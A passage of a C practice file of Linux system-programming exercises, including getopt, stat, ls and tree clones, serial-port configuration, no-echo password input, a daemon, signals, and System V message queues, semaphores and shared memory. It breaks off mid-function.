/**************************************************************************** **
 * Copyright (C) 2001-2020 Inhand Networks, Inc.
 **************************************************************************** **/

/* ************************************************************************** **
 *     MODULE NAME            : system
 *     LANGUAGE               : C
 *     TARGET ENVIRONMENT     : Any
 *     FILE NAME              : APLE_code.c
 *     FIRST CREATION DATE    : 2022/05/29
 * --------------------------------------------------------------------------
 *     Version                : 1.0
 *     Author                 : EExuke
 *     Last Change            : 2022/05/29
 *     FILE DESCRIPTION       : APLE source code practice
** ************************************************************************** */

#include "APLE_code.h"

static void pop_file_tree(headnode *link_stack);
static void dir_tree(char *dirname, headnode *link_stack, int level);

void aple_code_test()
{
	my_debug_msg("hello, APLE_code.");
}

/***************************************************************************************
 * Description   : 3.4-getopt应用示例{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
int getopt_example(int argc, char **argv)
{
	int ret;
	opterr = 0;    //初始化opterr全局变量

	while ((ret = getopt(argc, argv, "ab:c::")) != -1) {
		switch (ret) {
			case 'a':
				printf("option=a, optopt=%c, optarg=%s\n", optopt, optarg);
				break;
			case 'b':
				printf("option=b, optopt=%c, optarg=%s\n", optopt, optarg);
				break;
			case 'c':
				printf("option=c, optopt=%c, optarg=%s\n", optopt, optarg);
				break;
			case '?':
				printf("option=?, optopt=%c, optarg=%s\n", optopt, optarg);
				break;
			default:
				printf("default, ret=%c\n", ret);
				break;
		}
		printf("argv[%d]=%s\n", optind, argv[optind]);
	}
	if (optind < argc && ret < 0) {
		printf("ret=%d, argv[%d] is err \n", ret, optind); //打印最后有可能出错的位置
	}

	//打印重新排列的选项参数
	for (ret=0; ret<argc; ret++) {
		printf("at the end --- argv[%d]=%s\n", ret, argv[ret]);
	}

	return 0;
}/*}}}*/

/***************************************************************************************
 * Description   : 6.3-显示文件状态属性{{{
 * @param [in ]  : file_name
 * @return       : 0
 ***************************************************************************************/
int file_stat_test(const char *file_name)
{
	uint16_t i, mask=0700;
	struct stat buff;
	char *perm[] = {"---", "--x", "-w-", "-wx", "r--", "r-x", "rw-", "rwx"};

	if (!file_name) {
		printf("Invalid file name");
	}
	//读取文件权限信息
	if (-1 == stat(file_name, &buff)) {
		perror(file_name);
		return EXIT_FAILURE;
	}
	printf("permission for %s\t", file_name);
	for (i=3; i>0; i--) {
		printf("%3s", perm[(buff.st_mode & mask) >> (i-1)*N_BITS]);
		mask>>=N_BITS;
	}
	putchar('\n');

	printf("%s: \n", file_name);
	if (lstat(file_name, &buff) < 0) {
		perror("lstat");
		return EXIT_FAILURE;
	}
	if (S_ISREG(buff.st_mode)) {
		printf("regular file\n");
	} else if (S_ISDIR(buff.st_mode)) {
		printf("directory file\n");
	} else if (S_ISCHR(buff.st_mode)) {
		printf("character file\n");
	} else if (S_ISBLK(buff.st_mode)) {
		printf("block file\n");
	} else if (S_ISFIFO(buff.st_mode)) {
		printf("fifo file\n");
	} else if (S_ISLNK(buff.st_mode)) {
		printf("symbolic file\n");
	} else if (S_ISSOCK(buff.st_mode)) {
		printf("socket file\n");
	} else {
		printf("unknown mode\n");
	}
	return 0;
}/*}}}*/

/***************************************************************************************
 * Description   : 6.4-实现ls -l{{{
 * @param [in ]  : argc, argv
 * @return       : 1
 ***************************************************************************************/
static void output_type_perm(mode_t mode)
{
	char type[7] = {'p', 'c', 'd', 'b', '-', 'l', 's'};
	int index = ((mode>>12) & 0xf) / 2;
	printf("%c", type[index]);

	char *perm[8] = {"---", "--x", "-w-", "-wx", "r--", "r-x", "rw-", "rwx"};
	printf("%s", perm[(mode>>6) & 07]);
	printf("%s", perm[(mode>>3) & 07]);
	printf("%s", perm[(mode>>0) & 07]);
}
static void output_user_group(uid_t uid, gid_t gid)
{
	struct passwd *user;
	struct group *group;

	user = getpwuid(uid);
	printf("  %s", user->pw_name);

	group = getgrgid(gid);
	printf(" %s", group->gr_name);
}
static void output_mtime(time_t mytime)
{
	char buf[256];

	memset(buf, 0, 256);
	ctime_r(&mytime, buf);
	buf[strlen(buf)-1] = '\0';
	printf("  %s", buf);
}
static void output_info(struct fnode *head)
{
	struct fnode *temp = head->next;
	struct stat mystat;

	while (temp != NULL) {
		if (-1 == stat(temp->name, &mystat)) {
			perror("stat");
			exit(EXIT_FAILURE);
		}
		output_type_perm(mystat.st_mode);
		printf("  %4ld", mystat.st_nlink);
		output_user_group(mystat.st_uid, mystat.st_gid);
		printf(" %8ld", mystat.st_size);
		output_mtime(mystat.st_mtime);
		printf(" %s\n", temp->name);
		temp = temp->next;
	}
}
static struct fnode* insert_list(struct fnode *node, struct fnode *head)
{
	if (!node || !head) {
		printf("insert_list failed.\n");
		return head;
	}
	node->next = head->next;
	head->next = node;
	return head;
}
static void free_list(struct fnode *head)
{
	struct fnode *p = NULL;

	while (head != NULL) {
		p = head;
		head = head->next;
		free(p);
	}
}
int my_ls_test(int argc, const char *argv[])
{
	if (argc < 2) {
		printf("usage: %s dir_name\n", argv[0]);
		exit(EXIT_FAILURE);
	}

	/*struct fnode *linklist = (struct fnode *)malloc(sizeof(struct fnode));*/
	struct fnode *linklist = NULL;
	struct stat stat_info;
	struct fnode *temp = NULL;

	char buf[NAME_SIZE];
	DIR *dirp = NULL;
	struct dirent *entp = NULL;

	for (int i=1; i<argc; i++) {
		linklist = (struct fnode *)malloc(sizeof(struct fnode));
		linklist->next = NULL;
		memset(linklist->name, 0, NAME_SIZE);
		if (stat(argv[i], &stat_info) == -1) {
			perror("stat");
			exit(EXIT_FAILURE);
		}

		if (S_ISREG(stat_info.st_mode)) {
			//regular file
			temp = (struct fnode *)malloc(sizeof(struct fnode));
			if (NULL == temp) {
				perror("malloc");
				exit(EXIT_FAILURE);
			}
			temp->next = NULL;
			memset(temp->name, 0, NAME_SIZE);
			memcpy(temp->name, argv[i], strlen(argv[i]));
			linklist = insert_list(temp, linklist);
			output_info(linklist);
		} else if (S_ISDIR(stat_info.st_mode)) {
			//dir file
			getcwd(buf, 128);
			dirp = opendir(argv[i]);
			if (NULL == dirp) {
				perror("opendir");
				exit(EXIT_FAILURE);
			}
			while ((entp = readdir(dirp))) {
				if (!strcmp(entp->d_name, ".") || !strcmp(entp->d_name, "..")) {
					continue; //skip "." and  ".."
				}
				temp = (struct fnode*)malloc(sizeof(struct fnode));
				if (NULL == temp) {
					perror("malloc");
					exit(EXIT_FAILURE);
				}
				temp->next  = NULL;
				memset(temp->name, 0, NAME_SIZE);
				memcpy(temp->name, entp->d_name, strlen(entp->d_name));
				linklist = insert_list(temp, linklist);
			}
			chdir(argv[i]); //change the current dirctory
			close((long)dirp);
			output_info(linklist);
			chdir(buf);
		}
		free_list(linklist);
	}
	return 1;
}/*}}}*/

/***************************************************************************************
 * Description   : 6.5-实现tree{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
static int insert_sort(headnode *link_stack, filenode *new)
{
	filenode *next = link_stack->head;
	filenode *prev = NULL;

	while (next) {
		if (strcmp( new->name, next->name ) > 0 ) {
			prev = next;
			next = next->next;
		} else {
			break;
		}
	}

	if (link_stack->head == NULL && link_stack->rear == NULL) {
		//the first one
		link_stack->head = new;
		link_stack->rear = new;
	} else if(prev == NULL && next != NULL) {
		//insert in front of the queue
		new->next = link_stack->head;
		link_stack->head = new;
	} else if( prev != NULL && next == NULL) {
		//insert in end of the queue.
		prev->next = new;
		link_stack->rear = new;
	} else {
		prev->next = new;
		new->next = next;
	}
	return 0;
}

static headnode *read_dir_to_link_stack(char *dir,int level)
{
	DIR *dirp = NULL;

	if (NULL== (dirp=opendir(dir))) {
		perror("opendir");
		exit(EXIT_FAILURE);
	}

	headnode *ptr = (headnode *)malloc (sizeof (headnode));
	if (ptr==NULL) {
		perror("malloc");exit(EXIT_FAILURE);
	}
	ptr->head = NULL;
	ptr->rear = NULL;

	struct dirent *entp = NULL;
	while ( NULL != (entp =readdir(dirp))) {
		if (strcmp(entp->d_name, "..")==0 || strcmp(entp->d_name, ".")==0) {
			//ignore ./ ../
			continue;
        } else {
			filenode *temp = (filenode *)malloc(sizeof(filenode));
			if (temp==NULL) {
				perror("malloc");exit(EXIT_FAILURE);
			}
			temp->next = NULL;
			temp->level = level;

			temp->name = (char *)malloc(strlen( entp->d_name) + 1);
			sprintf(temp->name ,"%s", entp->d_name);

			temp->fullname = (char *)malloc(strlen(dir)+1+strlen( entp->d_name) + 1);
			sprintf(temp->fullname,"%s/%s",dir,entp->d_name);

			insert_sort(ptr,temp);
		}
	}
	closedir(dirp);
	return ptr;
}

/* type:1, regufile. 2 dir.  */
static void out_file_info(filenode *ptr, int type)
{
	int i;
	printf("|");
	for (i = 0;i < ptr->level; i++) {
		printf("    ");
	}
	if (ptr->level == 0) {
		printf("-- ");
	} else {
		printf("|-- ");
	}
	printf("%s\n",ptr->name);
}

static void pop_file_tree(headnode *link_stack)
{
	while (link_stack->head != NULL ) {
		struct stat stat_src;
		if (lstat(link_stack->head->fullname, &stat_src) != 0) {
			fprintf(stderr, "%s(%d): stat error(%s)!\n", __FILE__, __LINE__, strerror(errno));
		}

		if (S_ISDIR(stat_src.st_mode)) {
			filenode *temp = link_stack->head;
			link_stack->head = link_stack->head->next;
			if(link_stack->head == NULL) {
				link_stack->rear = NULL;
			}
			out_file_info(temp,DIR_FILE);

			dir_tree(temp->fullname,link_stack,temp->level);

			free(temp->name);
			free(temp->fullname);
			free(temp);
		} else {
			filenode *temp = link_stack->head;
			link_stack->head = link_stack->head->next;
			if (link_stack->head == NULL) {
				link_stack->rear = NULL;
			}

			out_file_info(temp,REGU_FILE);

			free(temp->name);
			free(temp->fullname);
			free(temp);
		}
	}
}

static void dir_tree(char *dirname, headnode *link_stack, int level)
{
	headnode *ret = NULL;
	ret = read_dir_to_link_stack(dirname, level+1);

	if (link_stack->head != NULL && ret->head != NULL) {
		ret->rear->next = link_stack->head;
		link_stack->head = ret->head;
	}

	if (link_stack->head == NULL && ret->head != NULL ) {
		link_stack->head = ret->head;
	}

	if (link_stack->rear == NULL && ret->rear != NULL) {
		link_stack->rear = ret->rear;
	}

	free(ret);
	pop_file_tree(link_stack);
	return;
}

int my_tree_test(int argc, char *argv[])
{
	if (argc != 2) {
		fprintf(stderr, "pls useage %s dir_name\n", argv[0]);
		return EXIT_FAILURE;
	}

	struct stat stat_src;
	if (lstat(argv[1], &stat_src) != 0) {
		fprintf(stderr, "%s(%d): stat error(%s)!\n", __FILE__, __LINE__, strerror(errno));
		return EXIT_FAILURE;
	}

	if (S_ISREG(stat_src.st_mode)) { //普通文件报错
		fprintf(stderr, "%s [error opening dir]\n", argv[1]);
		return EXIT_FAILURE;
	} else if (S_ISDIR(stat_src.st_mode)) {
		headnode *link_list = (headnode *)malloc(sizeof(headnode));
		if (link_list == NULL) {
			perror("malloc");
			return EXIT_FAILURE;
		}
		link_list->head = NULL; //初始化全局队列
		link_list->rear = NULL;

		printf("%s\n", argv[1]);
		dir_tree(argv[1], link_list, -1);

		free(link_list);
	}

	return EXIT_SUCCESS;
}/*}}}*/

/***************************************************************************************
 * Description   : 7.3-串口编程示例{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
int speed_arr[] = {B38400, B19200, B9600, B4800, B2400, B1200, B300,
					B38400, B19200, B9600, B4800, B2400, B1200, B300,};
int name_arr[] = {38400, 19200, 9600, 4800, 2400, 1200, 300,
					38400, 19200, 9600, 4800, 2400, 1200, 300,};

//设置波特率
static void set_speed(int fd, int speed)
{
	int i;
	struct termios Opt;

	tcgetattr(fd, &Opt);
	for (i=0; i<sizeof(speed_arr)/sizeof(int); i++) {
		if (speed == name_arr[i]) {
			tcflush(fd, TCIOFLUSH);
			cfsetispeed(&Opt, speed_arr[i]);
			cfsetospeed(&Opt, speed_arr[i]);
			if (0 != tcsetattr(fd, TCSANOW, &Opt)) {
				perror("tcsetattr");
			}
			return;
		}
		tcflush(fd, TCIOFLUSH);
	}
}
//设置数据位长度，是否奇偶校验，停止位
static int set_Parity(int fd, int databits, int stopbits, int parity)
{
	struct termios options;

	if (0 != tcgetattr(fd, &options)) {
		perror("SetupSerial 1");
		return false;
	}

	options.c_cflag &= ~CSIZE;
	//设置数据位长度
	switch (databits) {
		case 7:
			options.c_cflag |= CS7;
			break;
		case 8:
			options.c_cflag |= CS8;
			break;
		default:
			fprintf(stderr, "Unsupported data size\n");
			return false;
	}
	//设置属性
	switch (parity) {
		case 'n':
		case 'N':
			options.c_cflag &= ~PARENB; //clear parity enable
			options.c_iflag &= ~INPCK;  //enable parity checking
			break;
		case 'o':
		case 'O':
			options.c_cflag |= (PARODD | PARENB); //set as odd check
			options.c_iflag |= INPCK;  //disnable parity check
			break;
		case 'e':
		case 'E':
			options.c_cflag |= PARENB; //enable parity
			options.c_cflag &= ~PARODD;
			options.c_iflag |= INPCK;  //disnable parity check
			break;
		case 's':
		case 'S':
			//as no parity
			options.c_cflag &= ~PARENB;
			options.c_iflag &= ~CSTOPB;
			break;
		default:
			fprintf(stderr, "Unsupported parity\n");
			return false;
	}
	//设置停止位
	switch (stopbits) {
		case 1:
			options.c_cflag &= ~CSTOPB;
			break;
		case 2:
			options.c_cflag |= CSTOPB;
			break;
		default:
			fprintf(stderr, "Unsupported stop bits\n");
			return false;
	}
	//设置输入属性选项
	if (parity != 'n') {
		options.c_iflag |= INPCK;
	}
	options.c_cc[VTIME] = 150; //15 seconds
	options.c_cc[VMIN] = 0;

	tcflush(fd, TCIFLUSH);
	if (0 != tcsetattr(fd, TCSANOW, &options)) {
		perror("SetupSerial 3");
		return false;
	}
	return true;
}
int read_write_serial(int argc, char *argv[])
{
	int fd;
	char *ptr = argv[2];
	char *dev = argv[1];

	if (argc < 3) {
		printf("pls usage %s /dev/ttyS[n] <your_message>\n", argv[1]);
		return EXIT_FAILURE;
	}
	if ((fd = open(dev, O_RDWR)) == -1) {
		perror("open");
		return EXIT_FAILURE;
	}
	set_speed(fd, 19200);

	if (set_Parity(fd, 8, 1, 'N') == false) {
		printf("Set Parity Error\n");
		return EXIT_FAILURE;
	}
	if (write(fd, ptr, strlen(ptr)) < 0) {
		perror("write");
		return EXIT_FAILURE;
	}
	printf("pls check the tty data \n");
	close(fd);
	return EXIT_SUCCESS;
}/*}}}*/

/***************************************************************************************
 * Description   : 7.4-不回显密码{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
static char *getpasswd(char *prompt)
{
	FILE *fp = NULL;
	struct termios termnew, termsave;
	int c;
	static char buf[PASSWD_LEN+1];
	char *ptr = buf;
	char ctermid[] = "/dev/pts/1";

	if (NULL == (fp=fopen(ctermid, "r+"))) {
		perror("fopen");
		return NULL;
	}
	printf("ctermid:%s \n", ctermid);

	setvbuf(fp, (char*)NULL, _IONBF, 0);
	sigset_t myset, setsave;
	sigemptyset(&myset);
	sigaddset(&myset, SIGINT);
	sigaddset(&myset, SIGTSTP);
	sigprocmask(SIG_BLOCK, &myset, &setsave);

	tcgetattr(fileno(fp), &termsave);
	termnew = termsave;
	termnew.c_lflag = termnew.c_lflag & ~(ECHO|ECHOCTL|ECHOE|ECHOK);
	tcsetattr(fileno(fp), TCSAFLUSH, &termnew);

	fputs(prompt, fp);
	while (((c=getc(fp)) != EOF) && (c != '\0') && (c != '\r') && (c != '\n')) {
		if (ptr < &buf[PASSWD_LEN]) {
			*ptr++ = c;
		}
		fflush(fp);
	}
	*ptr = '\0';
	putc('\n', fp);
	tcsetattr(fileno(fp), TCSAFLUSH, &termsave);
	sigprocmask(SIG_BLOCK, &setsave, NULL);
	return buf;
}
int my_get_passwd(int argc, char *argv[])
{
	char *ptr = NULL;

	ptr = getpasswd("#");
	printf("%s\n", ptr);
	return EXIT_SUCCESS;
}/*}}}*/

/***************************************************************************************
 * Description   : 8.3-守护进程应用示例{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
static int init_daemon(const char *pname, int facility)
{
	int pid;
	int i;

	//处理可能的终端信号
	signal(SIGTTOU,SIG_IGN);
	signal(SIGTTIN,SIG_IGN);
	signal(SIGTSTP,SIG_IGN);
	signal(SIGHUP ,SIG_IGN);

	//创建子进程，父进程退出
	if ((pid = fork())) {
		exit(EXIT_SUCCESS);
	} else if(pid< 0) {
		perror("fork");
		exit(EXIT_FAILURE);
	}

	//设置新会话组长，新进程组长，脱离终端
	setsid();
	//创建新进程，子进程不能再申请终端
	if ((pid = fork())) {
		exit(EXIT_SUCCESS);
	} else if(pid< 0) {
		perror("fork");
		exit(EXIT_FAILURE);
	}

	//关闭父进程所有可能打开的文件描述符
	for (i=0;i< NOFILE;++i) {
		close(i);
	}
	//由于关闭了所有文件描述符，故依次打开为0,1,2
	open("/dev/null", O_RDONLY); //fd0 - 0：STDIN_FILENO
	open("/dev/null", O_RDWR);   //fd1 - 1：STDOUT_FILENO
	open("/dev/null", O_RDWR);   //fd2 - 2：STDERR_FILENO

	chdir("/tmp"); //修改主目录
	umask(0);      //重置文件掩码
	signal(SIGCHLD, SIG_IGN); //处理子进程退出
	openlog(pname, LOG_PID | LOG_CONS, facility); //创建守护进程的log文件，带上进程名和进程号，并设置日志类型;
	return 0;
}

int creat_daemon_test(int argc,char *argv[])
{
	time_t ticks;

	init_daemon(argv[0], LOG_USER); //调用接口使自己成为守护进程

	//作为守护进程，一直运行，并打印日志
	while(1) {
		sleep(1);
		ticks = time(NULL);
		//确保系统的rsyslog服务已开启,才有日志文件生成: sudo service rsyslog start
		syslog(LOG_DEBUG, "%s", asctime(localtime(&ticks)));
	}
	closelog();
	return 0;
}/*}}}*/

/***************************************************************************************
 * Description   : 10.1-ualarm定时使用示例{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
static int alarm_count = 0;

static void ualarm_handler(int signo)
{
	alarm_count++;
	printf("sig:%d: hello, time out!\n", signo);
	//测试回调函数在未退出情况下，能否再被执行
	/*sleep(2);*/
	/*printf("sleep over-->\n"); //结果证明，回调函数阻塞时，信号也会阻塞，处理函数不会同时多重触发*/
}

int ulararm_example(int argc, char *argv[])
{
	int ret;

	if (SIG_ERR == signal(SIGALRM, ualarm_handler)) {
		perror("signal");
		return -1;
	}
	ret = ualarm(5*100*1000, 2*100*1000); //单位us
	if (ret < 0) {
		perror("ualarm");
		return -1;
	}
	printf("ret=%d...\n", ret);

	while (1) {
		sleep(10); //睡眠会被alarm回调打断，返回时从下一行执行, 从而跳过sleep睡眠
		//ALARM信号排队时, 回调函数将一直抢占进程资源, 造成主函数这里饥饿
		printf("ualarm test is running, now alarm_count=%d\n", alarm_count);
	}
	return 0;
}/*}}}*/

/***************************************************************************************
 * Description   : 10.5-信号应用实例:{{{
 *                 父进程执行文件复制操作，当收到SIGUSR1信号时打印进度，子进程每隔一段时间向父进程发送SIGUSR1信号
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
int count;         //current copy number
int file_size;     //the file size

static void sig_alarm(int arg)
{
	//alarm(1);			//if alarm may add this line
	kill(getppid(), SIGUSR1);
}

static void sig_usr(int sig)
{
	float i;
	i = (float)count / (float)file_size;
	printf("curent over :%0.0f%%\n",i*100);
}

int signal_copy(int argc, char *argv[])
{
	pid_t pid;
	int i;
	int fd_src, fd_des;
	char buf[128];		//in order to infirm the problem, buf can set small

	if (argc!=3) {
		printf("check the format:comm src_file des_file\n");
		return -1;
	}
	if ((fd_src = open(argv[1], O_RDONLY)) == -1) {
		perror("open file src");
		exit(EXIT_FAILURE);
	}

	file_size=lseek(fd_src, 0, SEEK_END);
	lseek(fd_src, 0, SEEK_SET);

	if ((fd_des = open(argv[2], O_RDWR|O_CREAT, 0644)) == -1) {
		perror("open fd_fdes");
		exit(EXIT_FAILURE);
	}

	if ((pid = fork()) == -1) {
		perror("fork");
		exit(EXIT_FAILURE);
	} else if (pid > 0) {
		//父进程
		signal(SIGUSR1, sig_usr);
		do {
			memset(buf, '\0', 128);
			if ((i = read(fd_src, buf, 1)) == -1) {
				perror("read");
				exit(EXIT_FAILURE);
			} else if (i == 0) {
				kill(pid, SIGINT); //关闭子进程
				break;
			} else {
				if (write(fd_des, buf, i) == -1) {
					perror("write");
					exit(EXIT_FAILURE);
				}
				count += i;
				//usleep(1);
			}
		} while(i!=0);

		waitpid(pid, NULL, 0); //回收子进程
		exit(EXIT_SUCCESS);
	} else if(pid == 0) {
		//子进程
		usleep(1); //wait for parent to install signal
		signal(SIGALRM, sig_alarm);
		ualarm(1000, 50*1000);	//if alarm , in sig_alarm function to install again

		while (1);
		exit(EXIT_SUCCESS);
	}

	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 11.2.1-读取消息队列基本信息{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
#define BUFSIZE    128

struct msg_buf {
	long type;
	char msg[BUFSIZE];
};

int msg_ipc_info(int argc, char *argv[])
{
	key_t key;
	int msgid;
	struct msg_buf msg_snd, msg_rcv;
	struct msginfo buf;
	char *ptr = "helloworld";

	memset(&msg_snd, '\0', sizeof(struct msg_buf));
	memset(&msg_rcv, '\0', sizeof(struct msg_buf));

	msg_rcv.type = 1;
	msg_snd.type = 1;
	memcpy(msg_snd.msg, ptr, strlen(ptr));
	//convert a pathname and a project identifier to a System V IPC key
	if ((key = ftok(".", 'A'))==-1) {
		perror("ftok");
		exit(EXIT_FAILURE);
	}

	//创建msg
	if ((msgid = msgget(key, 0600|IPC_CREAT))==-1) {
		perror("msgget");
		exit(EXIT_FAILURE);
	}

	//发送msg
	printf("msgsnd_return=%d\n", msgsnd(msgid, (void *)&msg_snd, strlen(msg_snd.msg), 0));

	//获取msg信息, 并打印
	msgctl(msgid, MSG_INFO, (struct msqid_ds *)&buf);
	printf("buf.msgmax=%d\n", buf.msgmax);
	printf("buf.msgmnb=%d\n", buf.msgmnb);
	printf("buf.msgpool=%d\n", buf.msgpool);
	printf("buf.semmap=%d\n", buf.msgmap);
	printf("buf.msgmni=%d\n", buf.msgmni);
	printf("buf.msgssz=%d\n", buf.msgssz);
	printf("buf.msgtql=%d\n", buf.msgtql);
	printf("buf.msgseg=%u\n", buf.msgseg);

	//接收msg
	printf("msgrcv_return=%ld\n", msgrcv(msgid, (void *)&msg_rcv, BUFSIZE, msg_rcv.type, 0));
	printf("rev msg:%s\n", msg_rcv.msg);
	printf("msgctl_return=%d\n", msgctl(msgid, IPC_RMID, 0));
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 11.2.2-使用消息队列实现即时通信{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 * 测试完成后，ipcs可以看到系统中消息队列未删除，可使用ipcrm手动清除
 ***************************************************************************************/
struct msgbuf {
	long type;   //此处应为long类型
	char ptr[0]; //0长数组,不占空间
};
static char msg_path[] = "send-recv";

int msg_sender_exp(int argc, char *argv[])
{
	key_t key;
	int msgid;
	pid_t pid;

	key = ftok(msg_path, 100);
	msgid = msgget(key, IPC_CREAT|0600);

	pid = fork();
	if (pid == 0) {
		char buf[128] = {0};
		struct msgbuf *ptr = malloc(sizeof(struct msgbuf) + strlen(buf) + 1);

		while (1) {
			printf("[sender] pls input msg to send:");
			fgets(buf, 128, stdin);
			ptr->type=1; //send msg type=1
			memcpy(ptr->ptr, buf, strlen(buf)+1);
			msgsnd(msgid, ptr, strlen(buf)+1, 0);
		}
		free(ptr);
	} else {
		struct msgbuf *mybuf = NULL;
		mybuf = malloc(sizeof(struct msgbuf) + 1024);

		while (1) {
			memset(mybuf, '\0', sizeof(struct msgbuf) + 1024);
			msgrcv(msgid, mybuf, 1024, 2, 0); //接收type=2
			printf("recv msg:%s\n", mybuf->ptr);
		}
		free(mybuf);
	}
	return 0;
}

int msg_recevier_exp(int argc, char *argv[])
{
	key_t key;
	int msgid;
	pid_t pid;

	key = ftok(msg_path, 100);
	msgid = msgget(key, IPC_CREAT|0600);

	pid = fork();
	if (pid == 0) {
		char buf[128];
		struct msgbuf *ptr = malloc(sizeof(struct msgbuf) + strlen(buf) + 1);

		while (1) {
			printf("[recevier] pls input msg to send:");
			fgets(buf, 128, stdin);
			ptr->type = 2; //send msg type=2
			memcpy(ptr->ptr, buf, strlen(buf)+1);
			msgsnd(msgid, ptr, strlen(buf)+1, 0);
		}
		free(ptr);
	} else {
		struct msgbuf *mybuf = malloc(sizeof(struct msgbuf) + 1024);

		while(1) {
			memset(mybuf, 0, sizeof(struct msgbuf) + 1024);
			msgrcv(msgid, mybuf, 1024, 1, 0); //recv msg type=1
			printf("recv msg:%s\n", mybuf->ptr);
		}
	}
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 11.3-使用信号量实现生产消费问题{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 * 测试完成后，ipcs可以看到系统中信号量未删除，可使用ipcrm手动清除
 ***************************************************************************************/
static int sem_id;
static char sem_path[] = "productor-customer";

static void productor_init()
{
	key_t key;
	int ret;
	unsigned short sem_array[2];
	union semun {
		int val;
		struct semid_ds *buf;
		unsigned short *array;
	} arg;

	key = ftok(sem_path,'s');
	sem_id = semget(key,2,IPC_CREAT|0644);

	sem_array[0]=0;				//identify the productor
	sem_array[1]=100;			//identify the space
	//printf("set the productor init value is 0\nset the space init value is 100\n");
	arg.array = sem_array;
	ret = semctl(sem_id, 0, SETALL, arg);
	if (ret == -1)
		printf("SETALL failed (%d)\n", errno);
	//printf("\nread the number\n");
	printf("productor init is %d\n",semctl(sem_id,0,GETVAL));
	printf("space init is %d\n\n",semctl(sem_id,1,GETVAL));
}

static void productor_del()
{
	semctl(sem_id,IPC_RMID,0);
}

int sem_productor(int argc,char *argv[])
{
	struct sembuf sops[2];

	sops[0].sem_num = 0;
	sops[0].sem_op = 1;
	sops[0].sem_flg = 0;

	sops[1].sem_num = 1;
	sops[1].sem_op = -1;
	sops[1].sem_flg = 0;

	productor_init();

	printf("this is productor\n");
	while (1) {
		printf("\n\nbefore produce:\n");
		printf("productor number is %d\n",semctl(sem_id,0,GETVAL));
		printf("space number is %d\n",semctl(sem_id,1,GETVAL));

		semop(sem_id,(struct sembuf *)&sops[1],1);		//get the space to instore the productor
		printf("now producing......\n");
		semop(sem_id,(struct sembuf *)&sops[0],1);		//now tell the customer can bu cusume
		printf("\nafter produce\n");
		printf("spaces number is %d\n",semctl(sem_id,1,GETVAL));
		printf("productor number is %d\n",semctl(sem_id,0,GETVAL));
		sleep(4);
	}
	productor_del();
}

void customer_init()
{
	key_t key;

	key = ftok(sem_path,'s');
	sem_id = semget(key,2,IPC_CREAT|0644);
	//printf("sem id is %d\n", sem_id);
}

int sem_customer(int argc,char *argv[])
{
	struct sembuf sops[2];

	customer_init();

	sops[0].sem_num = 0;
	sops[0].sem_op = -1;
	sops[0].sem_flg = 0;

	sops[1].sem_num = 1;
	sops[1].sem_op = 1;
	sops[1].sem_flg = 0;

	customer_init();

	printf("this is customer\n");
	while (1) {
		printf("\n\nbefore consume:\n");
		printf("productor is %d\n",semctl(sem_id,0,GETVAL));
		printf("space  is %d\n",semctl(sem_id,1,GETVAL));

		semop(sem_id,(struct sembuf *)&sops[0],1);		//get the productor to cusume
		printf("now consuming......\n");
		semop(sem_id,(struct sembuf *)&sops[1],1);		//now tell the productor can bu produce

		printf("\nafter consume\n");
		printf("products number is %d\n",semctl(sem_id,0,GETVAL));
		printf("space number is %d\n",semctl(sem_id,1,GETVAL));
		sleep(3);
	}
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 11.4-进程间使用共享内存方式实现数据通信{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 * 测试完成后，ipcs可以看到系统中共享内存未删除，可使用ipcrm手动清除
 ***************************************************************************************/
int shm_sem_example_recv(int argc,char *argv[])
{
	int running=1;
	char *shm_p=NULL;
	int shmid;
	int semid;
	int value;

	struct sembuf  sem_b;
	sem_b.sem_num = 0;
	sem_b.sem_flg = SEM_UNDO;

	if ((semid = semget((key_t)123456,1,0666|IPC_CREAT))==-1) {
		perror("semget");
		exit(EXIT_FAILURE);
	}
	shmid = shmget((key_t)654321,(size_t)2048,0600|IPC_CREAT);
	if (shmid==-1) {
		perror("shmget");
		exit(EXIT_FAILURE);
	}
	shm_p = shmat(shmid,NULL,0);
	if (shm_p == NULL) {
		perror("shmat");
		exit(EXIT_FAILURE);
	}

	while (running) {
		if ((value = semctl( semid, 0, GETVAL )) == 1) {
			printf("read data operate\n");
			sem_b.sem_op = -1; //信号量执行-1操作
			if (semop(semid, &sem_b, 1) == -1) {
				fprintf(stderr, "semaphore_p failed\n");
				exit(EXIT_FAILURE);
			}
			printf("%s\n", shm_p); //从共享内存读取数据，并打印输出
		}
		if (strcmp(shm_p,"end") == 0) {
			running--;
		}
	}
	shmdt(shm_p);
	if (shmctl(shmid,IPC_RMID,0) != 0) {
		perror("shmctl");
		exit(EXIT_FAILURE);
	}

	if (semctl(semid,0,IPC_RMID,0) != 0) {
		perror("semctl");
		exit(EXIT_FAILURE);
	}
	return 0;
}

int shm_sem_example_send(int argc,char *argv[])
{
	int running=1;
	int shid;
	int semid;
	int value;
	void *sharem=NULL;

	struct sembuf  sem_b;
	sem_b.sem_num = 0;
	sem_b.sem_flg = SEM_UNDO;

	if ((semid=semget((key_t)123456,1,0666|IPC_CREAT))==-1) {
		perror("semget");
		exit(EXIT_FAILURE);
	}

	if (semctl(semid, 0, SETVAL, 0) == -1) {
		printf("sem init error");
        if (semctl(semid,0,IPC_RMID,0) != 0) {
			perror("semctl");
			exit(EXIT_FAILURE);
		}
		exit(EXIT_FAILURE);
	}
	shid = shmget((key_t)654321,(size_t)2048, 0600|IPC_CREAT);
	if (shid == -1) {
		perror("shmget");
		exit(EXIT_FAILURE);
	}

	sharem = shmat(shid, NULL, 0);
	if (sharem == NULL) {
		perror("shmat");
		exit(EXIT_FAILURE);
	}

	while (running) {
		if ((value = semctl(semid, 0, GETVAL)) == 0) {
